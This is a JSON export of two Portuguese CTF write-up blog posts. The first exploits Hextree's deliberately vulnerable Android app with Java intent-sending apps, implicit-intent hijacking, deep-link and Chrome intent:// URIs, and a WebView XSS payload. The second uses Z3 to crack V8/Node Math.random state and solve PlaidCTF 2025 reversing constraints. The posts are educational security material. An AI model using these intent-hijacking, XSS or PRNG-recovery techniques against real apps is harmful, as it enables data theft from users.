[{"content":"Nesse artigo, a ideia é explorar e entender um pouco mais a superfície de ataque de aplicativos Android, para além do que é comumente visto em desafios CTF por aí. Geralmente espera-se um foco exclusivo em engenharia reversa ou até mesmo em testes de APIs para resolver desafios de Android. No entando, a superfície de ataque na vida real vai muito além de desfazer um XOR e encontrar uma flag pelo código decompilado.\nPara entendermos um pouco melhor sobre esse mundo de vulnerabilidades, focarei em explorações envolvendo intents. Para isso utilizarei o aplicativo propositalmente vulnerável desenvolvido pela Hextree:\nhttps://app.hextree.io/lab/intent-attack-surface\nA regra aqui é simples: obter as flags assim como em um CTF padrão, porém adicionando a limitação de simular um atacante real, projetando um aplicativo malicioso sem acesso root e sem fazer patching no aplicativo alvo. Usarei meu aparelho pessoal, sem root, para isso, visto que a ideia é demonstrar o impacto para um usuário comum, indo além de apenas resolver os desafios.\nEscolhi 5 desafios:\nFlag 2 Flag 10 Flag 13 Flag 15 Flag 39 Flag 2 - Intent with extras Intents são mecanismos de comunicação no Android que permitem que componentes de um app interajam entre si ou com outros apps. Eles são usados para iniciar atividades, serviços ou enviar informações entre componentes, podendo ser explícitas (quando o destino é especificado) ou implícitas (quando o Android escolhe o componente apropriado com base na ação desejada).\nFazendo uma análise estática inicial da aplicação com o Jadx, conseguimos encontrar as componentes exportadas no AndroidManifest.xml. Nesse caso, estamos interessados inicialmente em io.hextree.attacksurface.activities.Flag2Activity.\nNote que essa activity está exportada, e portanto pode receber intents de qualquer aplicação instalada no aparelho. Note também que existe uma action específica declarada. Lendo agora a classe:\nObserve que quando a activity é chamada, ela verifica o intent recebido, extrai o valor presente na propriedade “action”, e compara com um valor. Nosso objetivo é chegar em success(this).\nPortanto, para conseguirmos a flag, basta enviarmos um intent com a action “io.hextree.action.GIVE_FLAG”. Caso queira entender melhor sobre os intents, recomendo a documentação do Android.\nCriando meu aplicativo malicioso em Java no Android Studio:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); EdgeToEdge.enable(this); setContentView(R.layout.activity_main); Button buttonExploit = findViewById(R.id.button); buttonExploit.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { exploitActivity(); } }); } private void exploitActivity() { Log.i(\u0026#34;EXPLOIT\u0026#34;, \u0026#34;Sending intent\u0026#34;); Intent intent = new Intent(); intent.setClassName(\u0026#34;io.hextree.attacksurface\u0026#34;, \u0026#34;io.hextree.attacksurface.activities.Flag2Activity\u0026#34;); intent.setAction(\u0026#34;io.hextree.action.GIVE_FLAG\u0026#34;); startActivity(intent); } } Note que existe um botão que quando acionado vai enviar o intent.\nClicando em exploit, conseguimos a flag!\nRepare que o aplicativo mostra o formato do intent que ele recebeu, o que ajuda a debuggar e resolver o desafio.\nFlag 10 - Hijack implicit intent with the flag Seguindo, temos a flag 10. Repare que dessa vez a activity não está exportada; nesse caso não faz diferença por conta da técnica de exploração.\nEntendendo a classe:\nDessa vez temos o cenário inverso: ao invés de enviarmos um intent para o alvo para gerar alguma ação, o aplicativo alvo é quem está enviando um intent. Nesse caso é considerado um intent implícito pois não tem nenhum pacote/classe definida como destino.\nPor conta disso, podemos criar nosso app malicioso de forma a capturar esse intent com a action \u0026ldquo;io.hextree.attacksurface.ATTACK_ME”.\nNossa classe que captura o intent:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public class HandleIntentsActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); EdgeToEdge.enable(this); setContentView(R.layout.activity_handle_intents); Intent receivedIntent = getIntent(); String flag = receivedIntent.getStringExtra(\u0026#34;flag\u0026#34;); TextView writeText = findViewById(R.id.debug_text); writeText.setText(flag); } } Definição no AndroidManifest.xml:\n1 2 3 4 5 6 7 8 \u0026lt;activity android:name=\u0026#34;.HandleIntentsActivity\u0026#34; android:exported=\u0026#34;true\u0026#34;\u0026gt; \u0026lt;intent-filter\u0026gt; \u0026lt;action android:name=\u0026#34;io.hextree.attacksurface.ATTACK_ME\u0026#34; /\u0026gt; \u0026lt;category android:name=\u0026#34;android.intent.category.DEFAULT\u0026#34; /\u0026gt; \u0026lt;/intent-filter\u0026gt; \u0026lt;/activity\u0026gt; Ao iniciar a activity, o implicit intent é enviado automaticamente, e como o único aplicativo que recebe o action \u0026ldquo;io.hextree.attacksurface.ATTACK_ME” é o nosso app malicioso, o sistema não pede para o usuário selecionar nada, e abre diretamente.\nFlag 13 - Create a hex://open link Dessa vez, vamos fazer a exploração através de um deeplink. Deeplinks basicamente são mecanismos criados para que o browser (a parte Web) possa se comunicar com o aplicativo do sistema. No Android, isso também é feito através de intents (ou seja, todo deeplink no fundo é também um intent). Quando uma activity recebe um deeplink, ela é categorizada como “android.intent.category.BROWSABLE”.\nPara interagir, precisamos montar um link com as características vistas acima, ou seja: hex://flag ou hex://open.\nEntendendo melhor a classe, o código checa se o intent é de fato um deeplink. Com os condicionais, concluímos então que o link para pegar a flag tem que ser:\n1 hex://flag/?action=give-me Para disparar o deeplink, não podemos simplesmente acessar a URI acima no browser diretamente. Essa ação tem que ser feita através de uma interação como um clique no botão por exemplo. Vou utilizar o próprio site fornecido pela Hextree para construir o link.\nAo clicarmos no link, a activity é chamada com todas as condições necessárias para se chegar na flag.\nFlag 15 - Create a intent://flag15/ link Para a flag 15, que também é explorável por deeplink, temos:\nDessa vez temos um problema: já entendemos como criar um deeplink, mas como podemos mudar o action e adicionar extras?\nA resposta é obtida pelos deeplinks personalizáveis do Google Chrome. O Chrome possui uma maneira única de lidar com deeplinks (mais informações), o que nos ajudar a ampliar bastante nossa superfície de ataque, pois com essa nova técnica podemos:\nAlterar o action Adicionar extras Escolher exatamente a aplicação e a classe alvo Não precisamos passar um host, path ou scheme O ponto negativo é que é explorável apenas através do navegador Chrome.\nConstruindo nosso link seguindo a documentação e as condições da classe:\n1 intent:#Intent;package=io.hextree.attacksurface;component=io.hextree.attacksurface.activities.Flag15Activity;action=io.hextree.action.GIVE_FLAG;S.action=flag;B.flag=true;end; Observe o formato do intent recebido.\nFlag 39 - WebView XSS WebView no Android é um componente que permite exibir conteúdo web diretamente dentro de um aplicativo, como se fosse um navegador embutido. Ele pode carregar páginas da internet ou conteúdo HTML local, possibilitando que desenvolvedores integrem funcionalidades web em apps nativos, como exibir sites, formulários, ou até mesmo aplicações web completas sem precisar sair do app. Como estamos trabalhando com web, ficamos expostos a novas técnicas de ataque, tal como o XSS.\nNossa activity WebView está exportada.\nO código aqui é um pouco mais complicado, então vamos por partes:\nTemos um método Java sucess() acessível por @JavascriptInterface, ou seja, conseguimos interagir com esse método por código JavaScript no WebView Temos um input por intent pelo extra “NAME”, que eventualmente se torna um jSONObject, que então é passado dentro de um código JavaScript: initApp(”nosso input”) Executei uma análise de IA para gerar comentários no código, caso seja útil para um entendimento maior.\nAnalisando o código fonte do nosso HTML, vemos o que a função initApp de fato faz.\nRepare que temos o innerHTML, que é claramente perigoso pois insere tags HTML no DOM. Como conseguimos controlar parte do que vai ser inserido (obj.name), podemos fazer alguns testes.\nVamos inicialmente testar como nosso input se comporta, passando o extra “NAME” com valor “payload”.\n1 2 3 4 5 6 7 8 9 10 private void exploitActivity() { Log.i(\u0026#34;EXPLOIT\u0026#34;, \u0026#34;Sending intent\u0026#34;); Intent intent = new Intent(); intent.setClassName(\u0026#34;io.hextree.attacksurface\u0026#34;, \u0026#34;io.hextree.attacksurface.webviews.Flag39WebViewsActivity\u0026#34;); intent.putExtra(\u0026#34;NAME\u0026#34;, \u0026#34;payload\u0026#34;); startActivity(intent); } Repare que nosso input é de fato inserido na página WebView. Vamos então testar um HTML injection:\n1 intent.putExtra(\u0026#34;NAME\u0026#34;, \u0026#34;\u0026lt;s\u0026gt;test\u0026lt;/s\u0026gt;\u0026#34;); Funcionou perfeitamente. O último passo é escalar para um XSS, lembrando que podemos chamar o método success() do Java. Como o aplicativo instancia a classe contendo esse método com o nome “hextree” (Flag39WebViewsActivity linha 70), podemos enviar:\n1 intent.putExtra(\u0026#34;NAME\u0026#34;, \u0026#34;\u0026lt;img src=\u0026#39;x\u0026#39; onerror=\u0026#39;hextree.success()\u0026#39;\u0026gt;\u0026#34;); E conseguimos de fato ativar a flag!\n","permalink":"http://grisufrj.github.io/blog/2025-07-21-intent-android-ctf/","summary":"Nesse artigo, a ideia é explorar e entender um pouco mais a superfície de ataque de aplicativos Android, para além do que é comumente visto em desafios CTF por aí. Geralmente espera-se um foco exclusivo em engenharia reversa ou até mesmo em testes de APIs para resolver desafios de Android. No entando, a superfície de ataque na vida real vai muito além de desfazer um XOR e encontrar uma flag pelo código decompilado.","title":"Entendendo Android Intents Através de Desafios CTF"},{"content":"Isso é um writeup de 2 challenges do PlaidCTF 2025 que podiam ser resolvidos usando Z3!\nO primeiro challenge é um de criptografia chamado excav8. O segundo é um challenge de engenharia reversa chamado Fool's Gulch.\nExcav8 Como o próprio nome diz, ele tem sim algo relacionado com V8.\nEsse é o arquivo chall.py fornecido pelo desafio:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import subprocess secret = open(\u0026#39;secret.txt\u0026#39;).read().strip() secretbits = \u0026#39;\u0026#39;.join(f\u0026#39;{ord(i):08b}\u0026#39; for i in secret) output = [] for bit in secretbits: if bit == \u0026#39;0\u0026#39;: output += [float(i) for i in subprocess.check_output(\u0026#39;./d8 gen.js\u0026#39;, shell=True).decode().split()] else: output += [float(i) for i in subprocess.check_output(\u0026#39;node gen.js\u0026#39;, shell=True).decode().split()] for i in output: print(i) E esse é o arquivo gen.js também fornecido:\n1 2 3 for (let i = 0; i \u0026lt; 24; i++) { console.log(Math.random()); } Pelo código, dá para ver que ele lê um arquivo secret.txt meio sus (Nesse caso esse arquivo vai ser a flag) e transforma todo caractere em uma representação 8-bit. Depois disso, itera por cada bit, usando o binário d8 para gerar 24 números aleatórios se o bit for 0 e usando o node para gerar 24 números aleatórios se o bit for 1.\nO importante a se notar aqui é que a versão da engine do V8 usada aqui é do Chrome 13.6.1 e a versão do V8 usada pelo Node para gerar números aleatórios é um pouco mais antiga.\nRandom Number Generation Por quê a versão é importante?\nSe olharmos para a implementação no V8: https://github.com/v8/v8/blob/13.6.1/src/base/utils/random-number-generator.h#L111\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 // Static and exposed for external use. static inline double ToDouble(uint64_t state0) { // Get a random [0,2**53) integer value (up to MAX_SAFE_INTEGER) by dropping // 11 bits of the state. double random_0_to_2_53 = static_cast\u0026lt;double\u0026gt;(state0 \u0026gt;\u0026gt; 11); // Map this to [0,1) by division with 2**53. constexpr double k2_53{static_cast\u0026lt;uint64_t\u0026gt;(1) \u0026lt;\u0026lt; 53}; return random_0_to_2_53 / k2_53; } // Static and exposed for external use. static inline void XorShift128(uint64_t* state0, uint64_t* state1) { uint64_t s1 = *state0; uint64_t s0 = *state1; *state0 = s0; s1 ^= s1 \u0026lt;\u0026lt; 23; s1 ^= s1 \u0026gt;\u0026gt; 17; s1 ^= s0; s1 ^= s0 \u0026gt;\u0026gt; 26; *state1 = s1; } E olharmos para a implementação do Node: https://github.com/nodejs/node/blob/main/deps/v8/src/base/utils/random-number-generator.h#L111\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 // Static and exposed for external use. static inline double ToDouble(uint64_t state0) { // Exponent for double values for [1.0 .. 2.0) static const uint64_t kExponentBits = uint64_t{0x3FF0000000000000}; uint64_t random = (state0 \u0026gt;\u0026gt; 12) | kExponentBits; return base::bit_cast\u0026lt;double\u0026gt;(random) - 1; } // Static and exposed for external use. static inline void XorShift128(uint64_t* state0, uint64_t* state1) { uint64_t s1 = *state0; uint64_t s0 = *state1; *state0 = s0; s1 ^= s1 \u0026lt;\u0026lt; 23; s1 ^= s1 \u0026gt;\u0026gt; 17; s1 ^= s0; s1 ^= s0 \u0026gt;\u0026gt; 26; *state1 = s1; } A maneira como convertemos floats é diferente!\nIsso é bem importante, porque se usarmos o fato de que essas implementações são diferentes podemos descobrir qual foi usada para gerar cada número.\nUsando o Z3 Z3 é um solucionador SMT. Você pode dar algumas restrições de um problema a ele e pedir para ele achar uma solução que satisfaça todas essas restrições.\nUsar o Z3 nesse caso é lowkey bastante poggers. O jeito que um número aleatório é gerado usando a Math.random() se encaixa exatamente na categoria de coisas que podem ser resolvidas pelo Z3.\nBasicamente podemos criar um modelo para o Z3 que tenta solucionar a geração de números aleatórios do Node (há vários desses pela internet) para cada batch de número fornecido e ver se ele consegue achar solução. Se dermos os 24 números gerados e as devidas restrições e pedirmos para ele achar uma solução (achar o estado interno) e ele de fato achar uma, então o bit vai ser 1!\nSe não conseguirmos achar nenhuma solução, isso quer dizer que os números não devem ter sido gerados seguindo as mesmas restrições (então eles devem ter sido gerados pela nova implementação do V8) e o bit deve ser 0.\nDessa forma, podemos achar todos os bits da flag e resolver o desafio :)\nMeu solve:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 #!/usr/bin/python3 import z3 import struct import sys def read_numbers(filename): with open(filename, \u0026#39;r\u0026#39;) as f: return [float(line.strip()) for line in f if line.strip()] def check_batch(reversed_batch): solver = z3.Solver() se_state0, se_state1 = z3.BitVecs(\u0026#34;se_state0 se_state1\u0026#34;, 64) current_s0, current_s1 = se_state0, se_state1 for num in reversed_batch: new_s0 = current_s1 s1 = current_s0 s1 ^= s1 \u0026lt;\u0026lt; 23 s1 ^= z3.LShR(s1, 17) s1 ^= new_s0 s1 ^= z3.LShR(new_s0, 26) new_s1 = s1 float_plus_1 = num + 1 packed = struct.pack(\u0026#39;d\u0026#39;, float_plus_1) ulong = struct.unpack(\u0026#39;\u0026lt;Q\u0026#39;, packed)[0] mantissa = ulong \u0026amp; ((1 \u0026lt;\u0026lt; 52) - 1) solver.add(z3.LShR(new_s0, 12) == mantissa) current_s0, current_s1 = new_s0, new_s1 return solver.check() == z3.sat def main(): numbers = read_numbers(\u0026#39;output.txt\u0026#39;) batch_size = 24 batches = [numbers[i:i+batch_size] for i in range(0, len(numbers), batch_size)] result_bits = [] for batch in batches: if len(batch) != batch_size: continue reversed_batch = batch[::-1] valid = check_batch(reversed_batch) result_bits.append(\u0026#39;1\u0026#39; if valid else \u0026#39;0\u0026#39;) print(\u0026#39;1\u0026#39; if valid else \u0026#39;0\u0026#39;) print(\u0026#39;\u0026#39;.join(result_bits)) if __name__ == \u0026#34;__main__\u0026#34;: main() É importante salientar que o V8 usa uma cache LIFO para gerar os números. Sempre que você pede para ele gerar um único número aleatório, na verdade ele gera bem mais números e os salva em um bucket. Isso significa que você precisa fornecer o batch de números na ordem contrária.\nO resultado é esse aqui:\n1 011001100110110001100001011001110011101000100000010100000100001101010100010001100111101101000010011101010110100101101100010001000011000101101110010001110101111101110110001110000101111101101001001101010101111101010011011101010100001101101000010111110011010001011111011100000110000100110001010011100010111000101110001011100111110100001010011100000110000101110011011100110111011101101111011100100110010000100000011101000110111100100000011100000110000101110010011101000010000000110010001110100010000001101111011000010111000100110001010011010100010000111001001100100110010101110110010100100111001101000100010110100111011001001000 Convertendo:\n1 2 flag: PCTF{BuilD1nG_v8_i5_SuCh_4_pa1N...} password to part 2: oaq1MD92evRsDZvH Você pode achar outras implementações de um V8 random number cracker usando Z3 nesse vídeo do YouTube. É um vídeo muito bem feito e me ajudou bastante a resolver esse challenge! Você deveria dar uma olhada nele quando puder.\nFool\u0026rsquo;s Gulch Esse é um pouco diferente. É um challenge de engenharia reversa com um binário em aarch64.\nO setup Eu estou em uma arquitetura x86-64, então pode ser que fique meio yabai.\nO que eu fiz para rodar o programa foi o seguinte:\nInstalei as bibliotecas de aarch64 no meu sistema\nCopiei o ld para a pasta do challenge (na verdade qualquer lugar serve)\nNo meu caso, o ld estava em /usr/aarch64-linux-gnu/lib/ld-linux-aarch64.so.1.\nEntão eu só precisei fazer um cp /usr/aarch64-linux-gnu/lib/ld-linux-aarch64.so.1 aarch64-libs/lib.\nFiz o mesmo para a libc: cp /usr/aarch64-linux-gnu/lib/libc.so.6 aarch64-libs/lib.\nAgora dá para usar o qemu para emular a biblioteca e passar a localização das bibliotecas como um argumento: qemu-aarch64 -g 1234 -L aarch64-libs ./prospectors_claim.\nAqui o -g 1234 serve para debug. Nesse caso, rode o gdb-multiarch no binário e conecte à porta 1234 para debugar. Se você usar o argumento -g 1234, o binário não vai rodar até que você faça attach do gdb nele.\nDecompilando Quando decompilado (usando o Ghidra), um arquivo BEM grande é gerado. Esse arquivo contém um monte de if conditions:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 undefined8 main(void) { byte local_55; byte local_54; byte local_53; byte local_52; byte local_51; byte local_50; byte local_4f; byte local_4e; byte local_4d; byte local_4c; byte local_4b; byte local_4a; byte local_49; byte local_48; byte local_47; byte local_46; byte local_45; byte local_44; byte local_43; byte local_42; byte local_41; byte local_40; byte local_3f; byte local_3e; byte local_3d; byte local_3c; byte local_3b; byte local_3a; byte local_39; byte local_38; byte local_37; byte local_36; byte local_35; byte local_34; byte local_33; byte local_32; char local_31; byte local_30; byte local_2f; char local_2e; byte local_2d; byte local_2c; byte local_2b; byte local_2a; byte local_29; byte local_28; byte local_27; byte local_26; byte local_25; byte local_24; byte local_23; byte local_22; byte local_21; byte local_20; byte local_1f; byte local_1e; byte local_1d; byte local_1c; byte local_1b; byte local_1a; byte local_19; byte local_18; byte local_17; byte local_16; undefined4 local_14; local_14 = 0; setvbuf(_stdout,(char *)0x0,2,0); printf(\u0026#34;=== The Prospector\\\u0026#39;s Claim ===\\n\u0026#34;); printf(\u0026#34;Old Man Jenkins\\\u0026#39; map to his modest gold claim has been floating around\\n\u0026#34;); printf(\u0026#34;Fool\\\u0026#39;s Gulch for years. Most folks think it\\\u0026#39;s worthless, but you\\\u0026#39;ve\\n\u0026#34;); printf(\u0026#34;noticed something peculiar in the worn-out corners...\\n\\n\u0026#34;); printf(\u0026#34;Enter the claim sequence: \u0026#34;); fgets((char *)\u0026amp;local_55,0x41,_stdin); if (local_3a == 0x32) { bump(\u0026amp;score); } if ((local_36 ^ local_3d) == 0xaa) { bump(\u0026amp;score); } if ((byte)(local_36 + local_27) == -0x70) { bump(\u0026amp;score); } if ((byte)(local_1a + local_31) == -0x7f) { bump(\u0026amp;score); } if (local_48 == 0xbe) { bump(\u0026amp;score); } if (local_35 == 100) { bump(\u0026amp;score); } if (local_3b == 0x31) { bump(\u0026amp;score); } if (local_2b == 0x39) { bump(\u0026amp;score); } if ((byte)(local_28 + local_16) == -0x6d) { bump(\u0026amp;score); } if (local_23 == 0x31) { bump(\u0026amp;score); } if ((byte)(local_54 + local_46) == \u0026#39;8\u0026#39;) { bump(\u0026amp;score); } if ((local_48 ^ local_32) == 0x8e) { bump(\u0026amp;score); } if ((local_54 ^ local_27) == 0x71) { bump(\u0026amp;score); } if (local_2b == 0xb4) { bump(\u0026amp;score); } if (local_42 == 0x36) { bump(\u0026amp;score); } if (local_39 == local_25) { bump(\u0026amp;score); } if ((local_4b ^ local_34) == 3) { bump(\u0026amp;score); } if (local_37 == 0x76) { bump(\u0026amp;score); } if (local_50 == 0x32) { bump(\u0026amp;score); } if ((local_54 ^ local_25) == 0x85) { bump(\u0026amp;score); } if (local_53 == 0x54) { bump(\u0026amp;score); } if (local_3e == 0xe1) { bump(\u0026amp;score); } if ((local_4c ^ local_1f) == 0x81) { bump(\u0026amp;score); } if ((byte)(local_20 + local_3b) == \u0026#39;a\u0026#39;) { bump(\u0026amp;score); } if ((local_43 ^ local_1c) == 7) { bump(\u0026amp;score); } if ((local_43 ^ local_50) == 0x56) { bump(\u0026amp;score); } if ((byte)(local_47 + local_20) == \u0026#39;f\u0026#39;) { bump(\u0026amp;score); } if ((local_25 ^ local_1d) == 0x54) { bump(\u0026amp;score); } if (local_21 == 0xe5) { bump(\u0026amp;score); } if (local_31 == \u0026#39;o\u0026#39;) { bump(\u0026amp;score); } if ((byte)(local_30 + local_37) == \u0026#39;f\u0026#39;) { bump(\u0026amp;score); } if (local_23 == 0x31) { bump(\u0026amp;score); } if (local_3e == 0x38) { bump(\u0026amp;score); } if (local_2e == \u0026#39;4\u0026#39;) { bump(\u0026amp;score); } if ((byte)(local_1d + local_42) == -0x69) { bump(\u0026amp;score); } [...] if ((local_30 ^ local_53) == 0x67) { bump(\u0026amp;score); } if ((local_1f ^ local_45) == 0x7b) { bump(\u0026amp;score); } if ((local_28 ^ local_43) == 0x91) { bump(\u0026amp;score); } if (local_43 == 100) { bump(\u0026amp;score); } if (score \u0026lt; 0x119) { if (score \u0026lt; 0xFC) { if (score \u0026lt; 0x8C) { printf(\u0026#34;\\nThat claim\\\u0026#39;s as empty as a desert well in August.\\n\u0026#34;, printf(\u0026#34;Not a speck of gold to be found. Try another spot, prospector!\\n\u0026#34;); } else { printf(\u0026#34;The saloon erupts in laughter as you show off your \\\u0026#39;treasure\\\u0026#39;.\\n\u0026#34;); printf(\u0026#34;Keep prospecting - or take up farming instead!\\n\u0026#34;); } } else { printf(\u0026#34;The assayer laughs you out of his office. \\\u0026#34;Come back when you\\\u0026#39;ve got\\n\u0026#34;); printf(\u0026#34;something worth my time, greenhorn!\\\u0026#34;\\n\u0026#34;); } } else { printf(\u0026#34;You\\\u0026#39;ve struck a rich vein of gold! Your claim is officially recorded\\n\u0026#34;); printf(\u0026#34;at the assayer\\\u0026#39;s office, and the flag is yours: %s\\n\u0026#34;,\u0026amp;local_55); } return 0; } Se as declarações de byte forem alteradas para um char[65], o código fica bem mais limpo.\nUsando Z3 Parece exatamente como um caso para o Z3, certo?\nHá um monte de constraints e é preciso achar a solução que as satisfaça.\nSe olharmos melhor, não precisamos solucionar para todas as constraints. Na verdade é impossível resolver todas ao mesmo tempo.\nIsso significa que só é preciso achar uma solução boa o suficiente que faça com que o score seja maior do que 0x119.\nTambém dá para fazer isso usando Z3!\nOtimizando Z3 não só acha a solução exata, como também consegue achar uma solução ótima no caso em que a exata não existe.\nPara resolver o problema, É preciso pegar todas essas if conditions e escrevê-las em formato do Z3. Também precisamos fazer com que, no caso de uma condição ser satisfeita, o score aumenta. Se pudermos otimizar isso tudo e conseguir uma solução maior do que 0x119, resolvemos o problema :)\nEntão eu parseei o arquivo decompilado e gerei as condições do Z3 em python em outro arquivo. Aqui o arquivo que faz isso:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import re def generate_conditions(input_file, output_file): pattern = re.compile(r\u0026#39;if\\s*\\((.*?)\\)\\s*{\\s*bump\\(\u0026amp;score\\);\u0026#39;, re.DOTALL) var_pattern = re.compile(r\u0026#39;local_([0-9a-fA-F]{2})\u0026#39;) byte_cast_pattern = re.compile(r\u0026#39;\\(byte\\)\\s*\\((.*?)\\)\u0026#39;) hex_pattern = re.compile(r\u0026#39;-0x([0-9a-fA-F]+)\u0026#39;) with open(input_file, \u0026#39;r\u0026#39;) as f: code = f.read() conditions = pattern.findall(code) with open(output_file, \u0026#39;w\u0026#39;) as out: for i, cond in enumerate(conditions, 1): def var_replacer(match): offset = int(match.group(1), 16) index = 0x55 - offset return f\u0026#39;flag[{index}]\u0026#39; cond = var_pattern.sub(var_replacer, cond) cond = byte_cast_pattern.sub(r\u0026#39;(\\1 \u0026amp; 0xFF)\u0026#39;, cond) def hex_replacer(match): val = int(match.group(1), 16) return f\u0026#39;0x{(0x100 - val):02x}\u0026#39; cond = hex_pattern.sub(hex_replacer, cond) out.write(f\u0026#39; # Condition {i}\\n\u0026#39;) out.write(f\u0026#39; cond{i} = ({cond})\\n\u0026#39;) out.write(f\u0026#39; score += If(cond{i}, 1, 0)\\n\\n\u0026#39;) if __name__ == \u0026#39;__main__\u0026#39;: generate_conditions(\u0026#39;original.c\u0026#39;, \u0026#39;z3_conditions.txt\u0026#39;) Isso gera um arquivo enorme com 400 condições:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 # Condition 1 cond1 = (flag[27] == 0x32) score += If(cond1, 1, 0) # Condition 2 cond2 = ((flag[31] ^ flag[24]) == 0xaa) score += If(cond2, 1, 0) # Condition 3 cond3 = ((flag[31] + flag[46] \u0026amp; 0xFF) == 0x90) score += If(cond3, 1, 0) # Condition 4 cond4 = ((flag[59] + flag[36] \u0026amp; 0xFF) == 0x81) score += If(cond4, 1, 0) # Condition 5 cond5 = (flag[13] == 0xbe) score += If(cond5, 1, 0) # Condition 6 cond6 = (flag[32] == 100) score += If(cond6, 1, 0) # Condition 7 cond7 = (flag[26] == 0x31) score += If(cond7, 1, 0) [...] # Condition 392 cond392 = (flag[46] == flag[38]) score += If(cond392, 1, 0) # Condition 393 cond393 = ((flag[48] ^ flag[61]) == 5) score += If(cond393, 1, 0) # Condition 394 cond394 = (flag[12] == 0x56) score += If(cond394, 1, 0) # Condition 395 cond395 = ((flag[44] ^ flag[28]) == 0x51) score += If(cond395, 1, 0) # Condition 396 cond396 = (flag[45] == 0x37) score += If(cond396, 1, 0) # Condition 397 cond397 = ((flag[37] ^ flag[2]) == 0x67) score += If(cond397, 1, 0) # Condition 398 cond398 = ((flag[54] ^ flag[16]) == 0x7b) score += If(cond398, 1, 0) # Condition 399 cond399 = ((flag[45] ^ flag[18]) == 0x91) score += If(cond399, 1, 0) # Condition 400 cond400 = (flag[18] == 100) score += If(cond400, 1, 0) Agora basta escrever o solve e colar essas condições no arquivo. Também adicionei algumas restrições extras de que os 5 primeiros caracteres devem ser \u0026ldquo;PCTF{\u0026rdquo; e o último deve ser \u0026ldquo;}\u0026rdquo;, que fazem parte do formato da flag.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 from z3 import * def solve_flag(): opt = Optimize() flag = [BitVec(f\u0026#39;flag_{i}\u0026#39;, 8) for i in range(0x41)] opt.add(flag[0] == ord(\u0026#39;P\u0026#39;)) opt.add(flag[1] == ord(\u0026#39;C\u0026#39;)) opt.add(flag[2] == ord(\u0026#39;T\u0026#39;)) opt.add(flag[3] == ord(\u0026#39;F\u0026#39;)) opt.add(flag[4] == ord(\u0026#39;{\u0026#39;)) opt.add(flag[0x40] == ord(\u0026#39;}\u0026#39;)) for c in flag: opt.add(Or(And(c \u0026gt;= ord(\u0026#39; \u0026#39;), c \u0026lt;= ord(\u0026#39;~\u0026#39;)), c == 0)) score = 0 # LOL # Condition 1 cond1 = (flag[27] == 0x32) score += If(cond1, 1, 0) # Condition 2 cond2 = ((flag[31] ^ flag[24]) == 0xaa) score += If(cond2, 1, 0) # Condition 3 cond3 = ((flag[31] + flag[46] \u0026amp; 0xFF) == 0x90) score += If(cond3, 1, 0) # Condition 4 cond4 = ((flag[59] + flag[36] \u0026amp; 0xFF) == 0x81) score += If(cond4, 1, 0) # Condition 5 cond5 = (flag[13] == 0xbe) score += If(cond5, 1, 0) # Condition 6 cond6 = (flag[32] == 100) score += If(cond6, 1, 0) # Condition 7 cond7 = (flag[26] == 0x31) score += If(cond7, 1, 0) # Condition 8 cond8 = (flag[42] == 0x39) score += If(cond8, 1, 0) # Condition 9 cond9 = ((flag[45] + flag[63] \u0026amp; 0xFF) == 0x93) score += If(cond9, 1, 0) # Condition 10 cond10 = (flag[50] == 0x31) score += If(cond10, 1, 0) [...] # Condition 398 cond398 = ((flag[54] ^ flag[16]) == 0x7b) score += If(cond398, 1, 0) # Condition 399 cond399 = ((flag[45] ^ flag[18]) == 0x91) score += If(cond399, 1, 0) # Condition 400 cond400 = (flag[18] == 100) score += If(cond400, 1, 0) opt.maximize(score) if opt.check() == sat: model = opt.model() solution = \u0026#39;\u0026#39;.join([chr(model.eval(flag[i]).as_long()) for i in range(0x41)]) print(f\u0026#34;Found flag: {solution}\u0026#34;) else: print(\u0026#34;No solution found\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: solve_flag() Rodando isso, conseguimos a flag: Found flag: PCTF{24d16126d6739d6ada82b125534d2ae2324b39ed72e5a1200c5ac96200}\nTentando isso no binário:\n1 2 3 4 5 6 7 8 9 10 11 $ qemu-aarch64 -L aarch64-libs ./prospectors_claim === The Prospector\u0026#39;s Claim === Old Man Jenkins\u0026#39; map to his modest gold claim has been floating around Fool\u0026#39;s Gulch for years. Most folks think it\u0026#39;s 